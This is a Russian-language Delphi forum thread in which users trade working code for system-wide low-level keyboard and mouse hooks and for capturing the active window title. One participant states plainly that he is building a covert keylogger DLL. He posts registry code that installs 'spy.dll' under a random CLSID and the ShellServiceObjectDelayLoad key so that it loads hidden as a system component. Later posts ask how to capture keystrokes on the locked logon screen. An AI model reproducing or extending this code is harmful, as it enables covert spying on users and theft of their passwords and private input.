![]()  | 
	
 
  | 
		
			
  | 	
	
	
		
		|||||||
| Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны | 
![]()  | 
	
	
| 
		 | 
	Опции темы | Поиск в этой теме | Опции просмотра | 
| 
		 
			 
			#1  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 Как правильно перехватывать нажатия на клаву во ВСЕХ приложениях? 
		
	
		
		
		
		
		
	
		
		
	
	
	Как перехватить нажатие, изменить значение на нужное и послать дальше винде (переназначить)?  | 
| 
		 
			 
			#2  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Цитата: 
	
 Несколько исходников в придачу: - Keyboard hook - Key Logger - Key Statistic - ScanKey  | 
| 
		 
			 
			#3  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 нашел как без dll получить цифровой код. А кто подскажет как конвертировать его в название кнопки? 
		
	
		
		
		
		
		
	
		
		
	
	
	 | 
| 
		 
			 
			#4  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Цитата: 
	
  | 
| 
		 
			 
			#5  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 Запросто: 
		
	
		
		
		
		
		
	
		
		
	
	
	Код: 
	var                //переменные в Юните
hHook: THandle;
VKey:integer;
function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
const
  RPT_WPARAM_DATA = '%s';
  RPT_LPARAM_DATA = '%d';
var
  StrResult: String;
begin
  StrResult := '';
  if nCode = HC_ACTION then
    Result := CallNextHookEx(hHook, nCode, WParam, LParam);
  case WParam of
    WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_KEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_SYSKEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']);
  end;
  StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
  
  VKey:=strtoint(strresult); //Получаем VKey нажатой клавиши
end;
procedure InstallHook;
const
  WH_KEYBOARD_LL = 13;
begin
  hHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
  if hHook = 0 then RaiseLastOSError;
end;
procedure RemoveHook;
begin
if not UnhookWindowsHookEx(hHook) then RaiseLastOSError;
end;Собственно как теперь мне нреобразовать цифровой код в название нажатой клавиши?  | 
| 
		 
			 
			#6  
			
			
			
			
		 
		
		
	 | 
||||
		
		
  | 
||||
| 
	
	
		
			
			 Chr(VKey). Должно помочь. 
		
	
		
		
		
		
		
	
		
		
	
	
	Функция возвращает сам символ.  | 
| 
		 
			 
			#7  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 Короче проблема вот в чем 
		
	
		
		
		
		
		
	
		
		
	
	
	  ... Я пишу кейлоггер(dll) мне нужно получить строку с именем активного окна   ...Api функции типа getactivewnd пытался ... не получилось ... так подскажите как ... может криво делал..Заранее невероятно благодарен...))) ![]()  | 
| 
		 
			 
			#8  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 ну вот смотри как я решил этот вопрос: 
		
	
		
		
		
		
		
	
		
		
	
	
	Код: 
	  var
  CWND,LastWnd:HWND;
  SzKeyName, WindowName: array [0..127] of char
  {...}
  CWnd:=GetForegroundWindow;
  GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName));клавиатура Код: 
	var
  kHook: THandle;
  iVKey:integer;
  sVKey:string;
procedure KeyAction;
begin
  // do sth
end;
function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
const
  RPT_WPARAM_DATA = '%s';
  RPT_LPARAM_DATA = '%d';
var
  StrResult: String;
begin
  StrResult := '';
  if nCode = HC_ACTION then
    Result := CallNextHookEx(kHook, nCode, WParam, LParam);
  case WParam of
    WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
  end;
  StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
  if (Wparam=WM_KEYUP) or (Wparam=WM_SYSKEYUP) then strresult:='';
  sVKey:=strresult;
  if strresult<>'' then
  iVKey:=strtoint(strresult) //Получаем iVKey нажатой клавиши
  else iVKey:=0;
  KeyAction;
end;
procedure InstallKeyBoardHook;
const
  WH_KEYBOARD_LL = 13;
begin
  kHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
  if kHook = 0 then RaiseLastOSError;
end;
procedure RemoveKeyBoardHook;
begin
if not UnhookWindowsHookEx(kHook) then RaiseLastOSError;
end;мышь Код: 
	const
   WH_MOUSE_LL = 14;
tagMSLLHOOKSTRUCT = packed record
    pt : TPoint;
    mouseData : DWord;
    flags : DWord;
    time : DWord;
    dwExtraInfo : PDWord;
  end;
  tMSLLHOOKSTRUCT = tagMSLLHOOKSTRUCT;
  PMSLLHOOKSTRUCT = ^TMSLLHOOKSTRUCT;
var
  mHook:HHook;
  Mpt:TPoint;;
{...}
function LowLevelMouseProc(nCode:integer;wP: WPARAM ; lP:LPARAM):LRESULT; stdcall;
var
 MS:PMSLLHOOKSTRUCT;
begin
 if nCode<0 then
  begin
   Result:=CallNextHookEx(mHook,nCode,wP,lP);
   exit;
  end;
  if wP = WM_MOUSEMOVE then //когда мышь побежала-побежала...
   begin
    MS:=PMSLLHOOKSTRUCT(lP);
    mPt.x:=MS^.pt.X;	//получаем Х-координату мыши
    mPt.y:=MS^.pt.Y;	//получаем У-координату мыши
   end;
   Case wP of
      WM_LButtonDown: begin //когда нажали левую кнопку мыши
    	//
      end;
      WM_LButtonUp: begin //отпустили
    	//
      end;
      WM_RButtonDown: begin //когда нажали правую кнопку мыши
    	//
      end;
      WM_RButtonUp: begin //отпустили
    	//
      end;
      WM_MButtonDown: begin //среднюю нажали
    	//
      end;
      WM_MButtonUp: begin //отпустили
    	//
      end;
     WM_MouseWheel: begin //манипуляции и колесиком
	//	
      end else begin //когда не WM_MOUSEWHEEL
	//
       end;
      end;
   Result:=CallNextHookEx(mHook,nCode,wP,lP);
end;
procedure InstallMouseHook; //процедура инициализации хука
begin
mHook:=SetWindowsHookEx(WH_MOUSE_LL,@LowLevelMouseProc, HInstance, 0);
end;
procedure RemoveMouseHook; //деинициализация хука
begin
UnhookWindowsHookEx(mHook);
end; | 
| 
		 
			 
			#9  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 спасибо...CODeRUS.... 
		
	
		
		
		
		
		
	
		
		
	
	
	буду пробовать ... а вот по поводу ... библиотеки , так я че ее использую - мне нужно невидимость в системе ... куда уж лучше .. темболее будет маскироватся как сервис виндовоза...)) - И еще одно ... Хотел узнать ... Как перехваченые коды клавиш перевести в символы с УЧЕТОМ РЕГИСТРА? С уважением RufF3D...  | 
| 
		 
			 
			#10  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 И еще один вопрос ... 
		
	
		
		
		
		
		
	
		
		
	
	
	Как можно отследить события клавиатуры во время блокировки logon (Win+L). Через API функции возможно? Жду ответа какк соловей лета...  ))))))))Зарание спасибо...  | 
| 
		 
			 
			#11  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 кинь тогда тот кусок где скрытие происходит, интересно посмотреть 
		
	
		
		
		
		
		
	
		
		
	
	
	а про блокировку пока не скажу-проверять надо  | 
| 
		 
			 
			#12  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 скрытие ... я просто регитрирую dll в автозагрузку сервисов (не в раздел RUN) там где регятся сервисы / ну шота типа этого ....: 
		
	
		
		
		
		
		
	
		
		
	
	
	Reg:TRegistry; Temp:TGUID; S:String; t:textfile; begin CreateGUID(Temp); s := GUIDToString(Temp); Reg := TRegistry.Create; reg.rootkey:=HKEY_CLASSES_ROOT; if reg.openkey ('CLSID\'+s+'\InProcServer32', true) then // хёыш ёючфрыш шфхэЄшЇшърЄюЁ ъырёёр begin reg.writestring('',windir+'spy.dll'); //±єёЄ№ ъ сшсышюЄхъх reg.closekey; reg.rootkey:=HKEY_LOCAL_MACHINE; reg.openkey('Software\Microsoft\Windows\CurrentVer sion\ShellServiceObjectDelayLoad', true); reg.writestring('SpyDllLoad', s); reg.closekey; end; Reg.Free; end;  | 
| 
		 
			 
			#13  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 а оно потом в процессах не светится что ли? 
		
	
		
		
		
		
		
	
		
		
	
	
	надо попробовать будет......  | 
| 
		 
			 
			#14  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 вообще то ... библиотеки в процессах не видны ...(во всяком случае для ламеров), а запускается она как системная dll... 
		
	
		
		
		
		
		
	
		
		
	
	
	...так че там с блокировкой ... как это обойти... (ато hook не ловит) ![]()  | 
| 
		 
			 
			#15  
			
			
			
			
		 
		
		
	 | 
|||
		
		
  | 
|||
| 
	
	
		
			
			 так мне поможет кто-нить с блокировкой...? 
		
	
		
		
		
		
		
	
		
		
	
	
	=- люди ... ну где же вы...? - или эт слижком сложно...? жду ответа ...)))  |